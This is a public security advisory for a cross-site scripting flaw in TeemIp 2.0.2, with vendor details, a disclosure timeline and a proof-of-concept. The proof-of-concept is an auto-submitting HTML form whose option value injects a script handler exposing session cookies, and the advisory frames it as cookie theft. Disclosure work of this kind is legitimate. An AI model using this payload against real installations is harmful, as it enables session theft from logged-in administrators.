TeemIp 2.0.2 Cross Site Scripting

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/TEEMIP-XSS-COOKIE-THEFT.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
===============  
www.combodo.com  
  
  
  
Product:  
==============  
TeemIp v2.0.2  
  
Offer your customers a professional and economically viable approach to  
cope with the complexity of managing IP addresses.  
TeemIP has a CMDB and service management functions to industrialize the  
daily tasks of network administrators.  
  
  
  
Vulnerability Type:  
===================  
XSS Cookie Theft  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
TeempIp as XSS entry point on create request wizard form in the HTML  
multiple choice options field. If a user is authenticated and visits a  
malicious webpage hosting the XSS payload the 'itop' Session Cookies are  
disclosed to the attacker.  
  
e.g.  
  
itop-c6c8c716c24b1ab9a80eea69b0e6fd43=lcl1i81l7eq2nl5l0435118a33  
  
Vendor has since updated TeemIp on sourceforge but used same version number  
2.0.2  
https://sourceforge.net/projects/teemip/  
  
Users of TeemIp should download / update ...  
  
  
  
Exploit code(s):  
===============  
  
1) host the malicious XSS form on attacker server  
  
2) get victim to visit site, if they are logged in then BOOM! the cookies  
are yours...  
  
<form action="  
http://localhost/TeemIp-2.0.2/web/portal/index.php?operation=create_request"  
id="request_wizard" method="post" enctype="multipart/form-data">  
<input type="hidden" id="step_history" name="step_history" value=""><input  
type="hidden" id="next_step" name="next_step" value="1">  
<input type="hidden" id="transaction_id" name="transaction_id" value="666">  
<input type="hidden" name="operation" value="create_request"><select  
name="class">  
<option value="';<DIV onMouseMove='alert(document.cookie)'  
style='color:#0000FF'><b>*** HEY! XSS OVER HERE MOUSEOVER AROUND THE PAGE  
***</b></div>" Address Release Request</option>  
<option value="IPRequestAddressUpdate">IP Address Update Request</option>  
<option value="IPRequestAddressCreateV4">IP Address V4 Creation  
Request</option>  
<option value="IPRequestAddressCreateV6">IP Address V6 Creation Request  
</option><option value="IPRequestSubnetDelete">Subnet Release  
Request</option><option value="IPRequestSubnetUpdate">Subnet Update Request  
</option><option value="IPRequestSubnetCreateV4">Subnet V4 Creation  
Request</option><option value="IPRequestSubnetCreateV6">Subnet V6 Creation  
Request  
</option></select>  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
Disclosure Timeline:  
=====================================  
Vendor Notification: August 29, 2016  
Second notice: September 1, 2016  
Vendor reply: September 1, 2016  
Vendor reply: September 2, 2016  
Vendor unreponsive  
Vendor release new version: 2016-09-12 (same version number v2.0.2)  
https://sourceforge.net/projects/teemip/  
September 23, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Low  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
HYP3RLINX  
`